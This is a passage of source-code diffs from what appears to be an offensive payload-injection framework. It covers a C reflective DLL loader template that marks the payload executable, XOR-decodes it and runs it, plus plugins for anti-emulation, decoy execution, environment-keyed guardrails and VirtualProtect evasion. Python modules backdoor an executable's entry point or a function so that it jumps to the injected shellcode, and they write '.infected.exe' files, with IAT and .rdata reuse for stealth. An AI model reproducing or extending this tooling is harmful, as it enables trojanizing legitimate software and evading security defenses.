IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
DWORD relocationsProcessed = 0;
while (relocationsProcessed < relocations.Size)
{
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
for (DWORD i = 0; i < relocationsCount; i++)
{
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
if (relocationEntries[i].Type == 0)
{
continue;
}
DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
//DWORD_PTR addressToPatch = 0;
//ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
DWORD_PTR* addressToPatch = (DWORD_PTR*)((BYTE*)dllBase + relocationRVA);
//DWORD_PTR value = *addressToPatch;
*addressToPatch += deltaImageBase;
//mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
}
}
// resolve import address table
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
LPCSTR libraryName;
HMODULE library = NULL;
while (importDescriptor->Name != NULL)
{
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
library = LoadLibraryA(libraryName);
if (library)
{
PIMAGE_THUNK_DATA thunk = NULL;
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);
while (thunk->u1.AddressOfData != NULL)
{
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
{
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
}
else
{
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
thunk->u1.Function = functionAddress;
}
++thunk;
}
}
importDescriptor++;
}
*ret_dllBase = (DWORD_PTR)dllBase;
*ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint;
return 0;
}
{{plugin_antiemulation}}
{{plugin_decoy}}
{{plugin_executionguardrail}}
{{plugin_virtualprotect}}
int main()
{
char* dest = supermega_payload;
DWORD protect, oldProtect;
// Call: Execution Guardrail
if (executionguardrail() != 0) {
return 1;
}
// Call: Anti Emulation plugin
antiemulation();
// Call: Decoy plugin
decoy();
MyVirtualProtect((LPVOID)dest, {{PAYLOAD_LEN}}, PAGE_EXECUTE_READWRITE, &oldProtect);
// FROM supermega_payload[]
// TO dest[]
// Including decryption
{{ plugin_decoder }}
// Load the DLL at dest
DWORD_PTR dllBase;
DWORD aoep;
load_dll( (void *) dest, &dllBase, &aoep);
DLLEntry DllEntry = (DLLEntry)(dllBase + aoep);
(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
return 0;
}
+3 -1
View File
@@ -5,7 +5,9 @@
char *supermega_payload;
/* peb_walk
Standard shellcode which will resolve IAT by itself with a peb_walk
Test shellcode which will resolve IAT by itself with a peb walk
no IAT reuse is performed
no data reuse is performed
*/
int main()
+4
View File
@@ -0,0 +1,4 @@
void decoy() {
// None
}
+4
View File
@@ -0,0 +1,4 @@
void decoy() {
WinExec("C:\\windows\\system32\\notepad.exe", 1);
}
+29
View File
@@ -0,0 +1,29 @@
int mystrcmp(wchar_t* str1, wchar_t* str2) {
int i = 0;
while (str1[i] != L'\0' && str2[i] != L'\0') {
if (str1[i] != str2[i]) {
return 1;
}
i++;
}
return 0;
}
int executionguardrail() {
// Execution Guardrail: Env Check
wchar_t envVarName[] = L"USERPROFILE";
wchar_t tocheck[] = L"{{guardrail_data}}";
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
if (result == 0) {
return 6;
}
if (mystrcmp(buffer, tocheck) != 0) {
return 6;
}
return 0;
}
+4
View File
@@ -0,0 +1,4 @@
int executionguardrail() {
// None
return 0; // All OK
}
+9
View File
@@ -0,0 +1,9 @@
BOOL MyVirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldprotect
) {
return VirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldprotect);
}
+19
View File
@@ -0,0 +1,19 @@
// How many bytes we VirtualProtect
#define VP_SIZE 16
BOOL MyVirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldprotect
) {
char *dest = (char *)lpAddress;
for(int n=0; n<(dwSize/4096)+1; n++) {
if (VirtualProtect(dest + (n * 4096), VP_SIZE, flNewProtect, lpflOldprotect) == 0) {
return FALSE;
}
}
return TRUE;
}
+1 -18
View File
@@ -136,24 +136,6 @@ def file_to_lf(filename):
f.write(data)
def find_first_utf16_string_offset(data, min_len=8):
current_string = bytearray()
start_offset = None # To keep track of the start of the current string
for i in range(0, len(data) - 1, 2):
# Check if we have a valid character
if data[i] != 0 or data[i+1] != 0:
if start_offset is None: # Mark the start of a new string
start_offset = i
current_string += bytes([data[i], data[i+1]])
else:
if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length
return start_offset # Return the offset where the string starts
current_string = bytearray()
start_offset = None # Reset start offset for the next string
return None # No string found that meets the criteria
def round_up_to_multiple_of_8(x):
return math.ceil(x / 8) * 8
@@ -169,6 +151,7 @@ def ui_string_decode(data):
except Exception as e:
logger.warning("ui_string_decode: {}".format(e))
def ascii_to_hex_bytes(ascii_bytes):
hex_escaped = ''.join(f'\\x{byte:02x}' for byte in ascii_bytes)
return hex_escaped
+9 -11
View File
@@ -13,27 +13,25 @@ PATH_EXES_MORE = "data/binary/exes_more/"
PATH_SHELLCODES = "data/binary/shellcodes/"
PATH_CARRIER = "data/source/carrier/"
PATH_PAYLOAD = "data/source/payload/"
PATH_DECODER = "data/source/carrier/decoder/"
PATH_DECODER = "data/source/decoder/"
PATH_ANTIEMULATION = "data/source/antiemulation/"
PATH_DECOY = "data/source/decoy/"
PATH_GUARDRAILS = "data/source/guardrails/"
PATH_VIRTUALPROTECT = "data/source/virtualprotect/"
PATH_WEB_PROJECT = "projects/"
# Correlated with real template files
# in data/plugins/
class DecoderStyle(Enum):
PLAIN_1 = "plain_1"
XOR_1 = "xor_1"
XOR_2 = "xor_2"
class PayloadLocation(Enum):
CODE = "code"
DATA = "data"
CODE = ".text"
DATA = ".rdata"
class CarrierInvokeStyle(Enum):
ChangeEntryPoint = "change EntryPoint"
BackdoorCallInstr = "hijack Main"
BackdoorCallInstr = "backdoor Entrypoint"
class FunctionInvokeStyle(Enum):
+37 -18
View File
@@ -6,37 +6,65 @@ from model.defs import *
from pe.superpe import SuperPe, PeSection
logger = logging.getLogger("Carrier")
logger = logging.getLogger("Injectable")
class IatRequest():
def __init__(self, name: str, placeholder: bytes):
self.name: str = name # Function Name, like "VirtualAlloc"
self.placeholder: bytes = placeholder # Random bytes as placeholder
self.references: List[bytes] = []
self.add_reference(placeholder)
def add_reference(self, placeholder):
self.references.append(placeholder)
class DataReuseReference():
def __init__(self, placeholder: bytes, register: str):
self.placeholder: bytes = placeholder
self.register: str = register
class DataReuseEntry():
def __init__(self, string_ref: str):
def __init__(self, string_ref: str, in_code: bool = False):
self.string_ref: str = string_ref # "$SG72513"
self.data: bytes = b'' # the content/data
self.addr: int = 0 # where content/data is stored
self.in_code: bool = in_code # is the data in code section
self.register: str = "" # "rcx"
self.randbytes: bytes = b"" # placeholder
self.data: bytes = b''
self.addr: int = 0
self.references: List[DataReuseReference] = []
class Carrier():
def add_reference(self, placeholder, register):
self.references.append(DataReuseReference(placeholder, register))
class Injectable():
def __init__(self, exe_file: str):
self.iat_requests: List[IatRequest] = []
self.reusedata_fixups: List[DataReuseEntry] = []
self.exe_filepath: str = exe_file
self.superpe: SuperPe = None
def init(self):
self.superpe = SuperPe(self.exe_filepath)
# IAT
def add_iat_request(self, func_name: str, placeholder: bytes):
# existing?
for iat in self.iat_requests:
if iat.name == func_name:
iat.add_reference(placeholder)
return
# new
self.iat_requests.append(IatRequest(func_name, placeholder))
def get_all_iat_requests(self) -> List[IatRequest]:
return self.iat_requests
def get_unresolved_iat(self):
"""Returns a list of IAT entries not available in the PE file"""
functions = []
@@ -46,15 +74,6 @@ class Carrier():
return functions
# IAT
def add_iat_request(self, func_name: str, placeholder: bytes):
self.iat_requests.append(IatRequest(func_name, placeholder))
def get_all_iat_requests(self) -> List[IatRequest]:
return self.iat_requests
# Data Reuse
def add_datareuse_fixup(self, fixup: DataReuseEntry):
-2
View File
@@ -10,12 +10,10 @@ class Payload():
def __init__(self, filepath: FilePath):
self.payload_path: FilePath = filepath
self.payload_data: bytes = b""
self.len: int = 0
def init(self):
logging.info("--( Load payload: {}".format(self.payload_path))
with open(self.payload_path, 'rb') as f:
self.payload_data = f.read()
self.len = len(self.payload_data)
+3 -3
View File
@@ -4,7 +4,7 @@ import shutil
from model.defs import *
from model.payload import Payload
from model.settings import Settings
from model.carrier import Carrier
from model.injectable import Injectable
logger = logging.getLogger("Project")
@@ -22,7 +22,7 @@ class Project():
self.comment: str = ""
self.settings: Settings = settings
self.payload: Payload = Payload(self.settings.payload_path)
self.carrier: Carrier = Carrier(self.settings.inject_exe_in)
self.injectable: Injectable = Injectable(self.settings.inject_exe_in)
self.project_dir: str = ""
self.project_exe: str = ""
@@ -30,7 +30,7 @@ class Project():
def init(self):
self.payload.init()
self.carrier.init()
self.injectable.init()
def prepare_project(project_name, settings):
+5 -2
View File
@@ -11,15 +11,18 @@ class RangeManager:
self.min = min
self.max = max
if min > 0:
self.intervals.add(Interval(0, min))
def merge_overlaps(self):
self.intervals.merge_overlaps(strict=False)
def print_all(self):
logger.info("Min: {} Max: {}".format(self.min, self.max))
print("Min: {} Max: {}".format(self.min, self.max))
for i in self.intervals:
logger.info("Interval: {}-{}".format(i.begin, i.end))
print("Interval: {}-{}".format(i.begin, i.end))
def add_range(self, start, end):
+25 -2
View File
@@ -11,9 +11,16 @@ class Settings():
# Settings
self.carrier_name: str = ""
self.decoder_style: DecoderStyle = DecoderStyle.XOR_1
self.decoder_style: str = "xor_2"
self.short_call_patching: bool = False
self.plugin_antiemulation = "none"
self.plugin_decoy = "none"
self.plugin_guardrail = "none"
self.plugin_guardrail_data = "C:\\Users\\"
self.plugin_virtualprotect = "standard"
self.plugin_virtualprotect_data = ""
self.dllfunc: str = "" # For DLL injection
# Injectable
@@ -31,7 +38,7 @@ class Settings():
self.generate_shc_from_asm: bool = True
# More
self.fix_missing_iat = False
self.fix_missing_iat = True
self.payload_location = PayloadLocation.DATA
# directories and filenames
@@ -42,3 +49,19 @@ class Settings():
self.main_shc_path = self.main_dir + "main.bin"
self.inject_exe_out = "{}{}".format(
self.main_dir, os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe"))
def init_payload_injectable(self, shellcode, injectable, dll_func):
self.payload_path = PATH_SHELLCODES + shellcode
if shellcode == "createfile.bin":
self.verify = True
self.try_start_final_infected_exe = False
else:
self.cleanup_files_on_exit = False
self.inject_exe_in = injectable
self.inject_exe_out = "{}{}".format(
self.main_dir,
os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe")
)
self.dllfunc = dll_func
+2 -2
View File
@@ -32,7 +32,7 @@ class FunctionBackdoorer:
def backdoor_function(self, function_addr: int, shellcode_addr: int, shellcode_len: int):
logger.info("Backdooring function at 0x{:X} (jump to shellcode at 0x{:X})".format(function_addr, shellcode_addr))
logger.info("--[ Backdooring exe function at 0x{:X} with jump to carrier at 0x{:X}".format(function_addr, shellcode_addr))
addr = self.find_suitable_instruction_addr(function_addr)
if addr is None:
@@ -64,7 +64,7 @@ class FunctionBackdoorer:
def find_suitable_instruction_addr(self, startOffset, length=256):
"""Find a instruction to backdoor. Recursively."""
logger.info("find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format(
logger.info("---[ find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format(
startOffset, length, self.depth_option))
if self.depth_option == DEPTH_OPTIONS.LEVEL1:
+28
View File
@@ -11,6 +11,26 @@ logger = logging.getLogger("PEHelper")
# Its mostly used for verification of what we were doing.
# PRE-LOAD a dll file into memory
# This will load the DLL file into a memory buffer, already
# loaded at the correct RVA addresses (e.g. sections page aligned).
def preload_dll(payload_path: str) -> bytes:
dllPe = pefile.PE(payload_path)
dllImageSize = dllPe.OPTIONAL_HEADER.SizeOfImage
payload: bytearray = bytearray(dllImageSize)
# copy PE header sizeofheaders
payload[:dllPe.OPTIONAL_HEADER.SizeOfHeaders] = dllPe.get_data()[:dllPe.OPTIONAL_HEADER.SizeOfHeaders]
# copy sections
for section in dllPe.sections:
if section.SizeOfRawData == 0:
continue
payload[section.VirtualAddress:section.VirtualAddress + section.SizeOfRawData] = section.get_data()
return bytes(payload)
def extract_code_from_exe_file_ep(exe_file: FilePath, len: int) -> bytes:
pe = pefile.PE(exe_file)
section = get_code_section(pe)
@@ -69,3 +89,11 @@ def remove_trailing_null_bytes(data: bytes) -> bytes:
if data[i] != b'\x00'[0]: # Check for a non-null byte
return data[:i + 1]
return b'' # If the entire sequence is null bytes
def align_to_page_size(rva, offset, page_size=4096):
# Align to the nearest lower page boundary
aligned_address = rva & ~(page_size - 1)
real_address = aligned_address - offset
logger.debug(" Aligning: 0x{:X} to 0x{:X}".format(aligned_address, real_address))
return real_address
+81 -94
View File
@@ -43,6 +43,7 @@ class SuperPe():
self.iat_entries: Dict[str, IatEntry] = {}
self.init_iat_entries()
def init_iat_entries(self):
self.pe.parse_data_directories()
self.make_iat_entries()
@@ -164,72 +165,6 @@ class SuperPe():
return base_relocs
def getSectionIndexByDataDir(self, dirIndex):
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress
i = 0
for sect in self.pe.sections:
if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize):
return i
i += 1
logger.error(f'Could not find section with directory index {dirIndex}!')
return -1
def getRemainingRelocsDirectorySize(self):
relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize
return out
def addImageBaseRelocations(self, pageRva, relocs):
assert pageRva > 0
if not self.pe.has_relocs():
logger.error("No .reloc section")
raise(Exception("No .reloc section"))
if self.is_64():
imageBaseRelocType = SuperPe.IMAGE_REL_BASED_DIR64
else:
# Not really used
imageBaseRelocType = SuperPe.IMAGE_REL_BASED_HIGHLOW
relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size
relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
sizeOfReloc = 2 * len(relocs) + 2 * 4
if sizeOfReloc >= self.getRemainingRelocsDirectorySize():
self.logger.warning('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.')
self.logger.warning(' Will try disabling relocations on output file. Expect corrupted executable though!')
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0
return
relocDirRva = self.pe.sections[relocsIndex].VirtualAddress
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc
# VirtualAddress
self.pe.set_dword_at_rva(addr + relocsSize, pageRva)
# SizeOfBlock
self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc)
logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:X} - size of block: 0x{sizeOfReloc:X}')
i = 0
for reloc in relocs:
reloc_offset = (reloc - pageRva)
reloc_type = imageBaseRelocType << 12
relocWord = (reloc_type | reloc_offset)
self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord)
logger.info(f'\tReloc{i} for addr 0x{reloc:X}: 0x{relocWord:X} - 0x{reloc_offset:X} - type: {imageBaseRelocType}')
i += 1
def getExportEntryPoint(self, exportName: str):
dec = lambda x: '???' if x is None else x.decode()
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
@@ -300,34 +235,7 @@ class SuperPe():
if exp["name"] == dllfunc:
return exp["size"]
return None
## Relocations
def get_rdata_relocmanager(self) -> RangeManager:
section = self.get_section_by_name(".rdata")
relocs = self.get_relocations_for_section(".rdata")
rm = RangeManager(section.virt_addr, section.virt_addr + section.virt_size)
for reloc in relocs:
# Reloc destination is probably 8 bytes
# But i add another 8 to skip over small holes (common in .rdata)
rm.add_range(reloc.rva, reloc.rva + 8 + 8)
rm.merge_overlaps()
return rm
def get_relocations_for_section(self, section_name: str) -> List[PeRelocEntry]:
section: PeSection = self.get_section_by_name(section_name)
ret = []
if section is None:
return ret
for reloc in self.get_base_relocs():
reloc_addr = reloc.rva
if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size:
#logger.info("ADDR: 0x{:X}".format(reloc_addr))
ret.append(reloc)
return ret
## IAT
@@ -414,6 +322,66 @@ class SuperPe():
offset, func_name, new_name_bytes.decode()))
self.pe.set_bytes_at_offset(offset, new_name_bytes)
## .rdata manager
def get_rdata_rangemanager(self) -> RangeManager:
section = self.get_section_by_name(".rdata")
relocs = self.get_relocations_for_section(".rdata")
rm = RangeManager(section.virt_addr, section.virt_addr + section.virt_size)
for reloc in relocs:
# Reloc destination is probably 8 bytes
# But i add another 8 to skip over small holes (common in .rdata)
rm.add_range(reloc.rva, reloc.rva + 8 + 8)
if True: # FIXME this is a hack which is sometimes necessary?
sect_data_copy = section.pefile_section.get_data()
string_off = find_first_utf16_string_offset(sect_data_copy)
if string_off == None:
raise Exception("Strings not found in .rdata section, abort")
if string_off < 128:
logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off))
string_off = 128
rm.add_range(section.virt_addr, section.virt_addr + string_off)
rm.merge_overlaps()
return rm
def get_relocations_for_section(self, section_name: str) -> List[PeRelocEntry]:
section: PeSection = self.get_section_by_name(section_name)
ret = []
if section is None:
return ret
for reloc in self.get_base_relocs():
reloc_addr = reloc.rva
if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size:
#logger.info("ADDR: 0x{:X}".format(reloc_addr))
ret.append(reloc)
return ret
def get_code_rangemanager(self) -> RangeManager:
code_section = self.get_code_section()
if code_section == None:
raise Exception('Could not find code section in input PE file!')
code_section_size = code_section.Misc_VirtualSize
# Restrictions for putting data into .text:
# - enough space for carrier + payload
# - avoid overwriting entry point function
# - carrier should not generate much smaller holes in .text
rm = RangeManager(
code_section.VirtualAddress,
code_section.VirtualAddress + code_section_size)
# protect entrypoint a bit
entrypoint_rva = self.get_entrypoint()
rm.add_range(
entrypoint_rva - 0x100,
entrypoint_rva + 0x100)
return rm
## Helpers
@@ -444,3 +412,22 @@ class SuperPe():
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
def find_first_utf16_string_offset(data, min_len=8):
current_string = bytearray()
start_offset = None # To keep track of the start of the current string
for i in range(0, len(data) - 1, 2):
# Check if we have a valid character
if data[i] != 0 or data[i+1] != 0:
if start_offset is None: # Mark the start of a new string
start_offset = i
current_string += bytes([data[i], data[i+1]])
else:
if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length
return start_offset # Return the offset where the string starts
current_string = bytearray()
start_offset = None # Reset start offset for the next string
return None # No string found that meets the criteria
+28 -57
View File
@@ -2,13 +2,13 @@ import os
from typing import List, Dict
from helper import *
from model.carrier import Carrier, DataReuseEntry, IatRequest
from model.injectable import Injectable, DataReuseEntry, IatRequest
from model.settings import Settings
logger = logging.getLogger("AsmTextParser")
def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) -> List[str]:
def parse_asm_text_file(injectable: Injectable, asm_text: str, settings: Settings) -> List[str]:
lines_out = []
lines = asm_text.split("\n")
@@ -55,53 +55,25 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
continue
# PATCH external shellcode reference
if settings.payload_location == PayloadLocation.CODE:
## mov rdi, QWORD PTR supermega_payload
## to
## lea rdi, [shcstart] ; get payload shellcode address
if "supermega_payload" in line:
updated_line = line
updated_line = updated_line.replace(
"mov ",
"lea "
)
updated_line = updated_line.replace(
"QWORD PTR supermega_payload",
"[shcstart] ; get payload shellcode address"
)
lines_out.append(updated_line)
continue
elif settings.payload_location == PayloadLocation.DATA:
## mov rdi, QWORD PTR supermega_payload
## to
## lea rdi, XXX
if "supermega_payload" in line:
randbytes: bytes = os.urandom(7) # LEA is 7 bytes
string_ref = "supermega_payload"
## mov rdi, QWORD PTR supermega_payload
## to
## lea rdi, XXX
if "supermega_payload" in line:
string_ref = "supermega_payload"
datareuse_fixup = carrier.get_reusedata_fixup(string_ref)
if datareuse_fixup == None:
raise Exception("Data reuse entry not found: {}".format(string_ref))
register = line.split("mov\t")[1].split(",")[0]
# should already exist (added before)
datareuse_fixup = injectable.get_reusedata_fixup(string_ref)
if datareuse_fixup == None:
raise Exception("Data reuse entry not found: {}".format(string_ref))
datareuse_fixup.register = register
datareuse_fixup.randbytes = randbytes
# add a reference
placeholder: bytes = os.urandom(7) # LEA is 7 bytes
register = line.split("mov\t")[1].split(",")[0]
datareuse_fixup.add_reference(placeholder, register)
line = bytes_to_asm_db(randbytes) + " ; .rdata Payload".format()
lines_out.append(line)
continue
else:
raise Exception("Unknown payload location: {}".format(settings.payload_location))
# ADD label at end of code
# we cant reliably identify in which function, so we just add it at the end
## get_time_raw ENDP
## -> add here
## _TEXT ENDS
## END
if line_idx > len(lines) - 5 and tokens[1] == "ENDP":
# add lines
line = bytes_to_asm_db(placeholder) + " ; supermega_payload Payload".format()
lines_out.append(line)
lines_out.append("shcstart: ; start of payload shellcode")
continue
# COLLECT AND PATCH all functions that need to be resolved in loader shellcode
@@ -112,9 +84,10 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
if "QWORD PTR __imp_" in line:
# just the function name, without __imp_
func_name = line[line.find("__imp_")+6:].rstrip()
randbytes: bytes = os.urandom(6) # exact size or the result
carrier.add_iat_request(func_name, randbytes)
new_line = bytes_to_asm_db(randbytes) + " ; IAT Reuse for {}".format(func_name)
placeholder: bytes = os.urandom(6) # exact size or the result
injectable.add_iat_request(func_name, placeholder)
new_line = bytes_to_asm_db(placeholder) + " ; IAT Reuse for {}".format(func_name)
lines_out.append(new_line)
continue
@@ -125,7 +98,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
if line.startswith("$SG"):
# fuck me. if we start a new definition, and have an old one, add the old one...
if current_datareuse_entry != None:
carrier.add_datareuse_fixup(current_datareuse_entry)
injectable.add_datareuse_fixup(current_datareuse_entry)
current_datareuse_entry = None # reset it here
var_name = tokens[0]
@@ -142,7 +115,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
continue
if current_datareuse_entry != None:
# when we reach here, $SG with its DB should be done.
carrier.add_datareuse_fixup(current_datareuse_entry)
injectable.add_datareuse_fixup(current_datareuse_entry)
current_datareuse_entry = None # reset it here
# PATCH data reuse code (data from C)
@@ -152,17 +125,15 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
## DB 07cH, 04cH, 028H, 0b0H, 006H, 07eH ; IAT Reuse for GetEnvironmentVariableW
if "OFFSET FLAT:$SG" in line:
string_ref = line.split("OFFSET FLAT:")[1]
register = line.split("lea\t")[1].split(",")[0]
randbytes: bytes = os.urandom(7)
datareuse_fixup = carrier.get_reusedata_fixup(string_ref)
datareuse_fixup = injectable.get_reusedata_fixup(string_ref)
if datareuse_fixup == None:
raise("Data reuse entry not found: {}".format(string_ref))
datareuse_fixup.register = register
datareuse_fixup.randbytes = randbytes
register = line.split("lea\t")[1].split(",")[0]
placeholder: bytes = os.urandom(7)
datareuse_fixup.add_reference(placeholder, register)
line = bytes_to_asm_db(randbytes) + " ; .rdata Reuse for {} ({})".format(
line = bytes_to_asm_db(placeholder) + " ; .rdata Reuse for {} ({})".format(
string_ref, register)
lines_out.append(line)
continue
+8 -21
View File
@@ -11,7 +11,7 @@ logger = logging.getLogger("Assembler")
def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes:
"""Takes ASM source file asm_in, compiles it into build_exe, extracts its code section and write into shellcode_out"""
logger.info("--[ Assemble to exe: {} -> {}".format(asm_in, build_exe))
logger.info("-[ Assemble to exe: {} -> {}".format(asm_in, build_exe))
run_process_checkret([
config.get("path_ml64"),
asm_in,
@@ -25,33 +25,20 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes:
return code
def merge_loader_payload(
shellcode_in: bytes,
payload_data: bytes,
decoder_style: DecoderStyle
) -> bytes:
payload_data = encode_payload(payload_data, decoder_style)
logger.info("---[ Size: Carrier: {} and Payload: {} Sum: {} ".format(
len(shellcode_in), len(payload_data), len(shellcode_in)+len(payload_data)))
return shellcode_in + payload_data
def encode_payload(payload: bytes, decoder_style: DecoderStyle) -> bytes:
if decoder_style == DecoderStyle.PLAIN_1:
return payload
elif decoder_style == DecoderStyle.XOR_1:
def encode_payload(payload: bytes, decoder_style: str) -> bytes:
if decoder_style == "plain":
return bytes(payload)
elif decoder_style == "xor_1":
xor_key = config.xor_key
logger.info("---[ XOR payload with key 0x{:X}".format(xor_key))
xored = bytes([byte ^ xor_key for byte in payload])
return xored
elif decoder_style == DecoderStyle.XOR_2:
return bytes(xored)
elif decoder_style == "xor_2":
xor_key = config.xor_key2
logger.info("---[ XOR2 payload with key {}".format(xor_key))
xored = bytearray(payload)
for i in range(len(xored)):
xored[i] ^= xor_key[i % 2]
return xored
return bytes(xored)
else:
raise Exception("Unknown decoder style")
+5 -5
View File
@@ -9,7 +9,7 @@ from config import config
from observer import observer
from model import *
from phases.masmshc import masm_shc, Params
from model.carrier import Carrier
from model.injectable import Injectable
from phases.asmtextparser import parse_asm_text_file
from model.settings import Settings
@@ -22,7 +22,7 @@ def compile_dev(
asm_out: FilePath,
short_call_patching: bool = False,
):
logger.info("--( Compile C to ASM: {} -> {} ".format(c_in, asm_out))
logger.info("-( Compile C to ASM: {} -> {} ".format(c_in, asm_out))
# Compile C To Assembly (text)
run_process_checkret([
@@ -51,10 +51,10 @@ def compile_dev(
def compile(
c_in: FilePath,
asm_out: FilePath,
carrier: Carrier,
injectable: Injectable,
settings: Settings,
):
logger.info("--[ Compile C to ASM: {} -> {} ".format(c_in, asm_out))
logger.info("-[ Compile C to ASM: {} -> {} ".format(c_in, asm_out))
# Compile C To Assembly (text)
run_process_checkret([
@@ -70,7 +70,7 @@ def compile(
asm_text = file_readall_text(asm_out)
observer.add_text_file("carrier_asm_orig", asm_text)
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings) # Fixup assembly file
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings) # Fixup assembly file
asm_text = masm_shc(asm_text_lines) # Cleanup assembly file
observer.add_text_file("carrier_asm_final", asm_text)
+249 -210
View File
@@ -4,236 +4,277 @@ import time
import logging
from typing import Dict, List
from model.carrier import Carrier, DataReuseEntry
from model.injectable import Injectable, DataReuseEntry, DataReuseReference
from pe.pehelper import *
from observer import observer
from pe.derbackdoorer import FunctionBackdoorer
from pe.superpe import SuperPe
from pe.superpe import SuperPe, PeSection
from model.project import Project
from model.settings import Settings
from pe.asmdisasm import *
from model.defs import *
from model.payload import Payload
from model.rangemanager import RangeManager
logger = logging.getLogger("Injector")
def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier):
exe_in = settings.inject_exe_in
exe_out = settings.inject_exe_out
carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style
class Injector():
def __init__(
self,
carrier_shc: bytes,
payload: Payload,
injectable: Injectable,
settings: Settings):
self.carrier_shc = carrier_shc
self.settings = settings
self.injectable = injectable
self.payload = payload
logger.info("--[ Injecting: into {} -> {}".format(exe_in, exe_out))
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
# reuse from injectable
#self.superpe = SuperPe(settings.inject_exe_in)
self.superpe = injectable.superpe
self.function_backdoorer = FunctionBackdoorer(self.superpe)
# CHECK if shellcode fits into the target code section
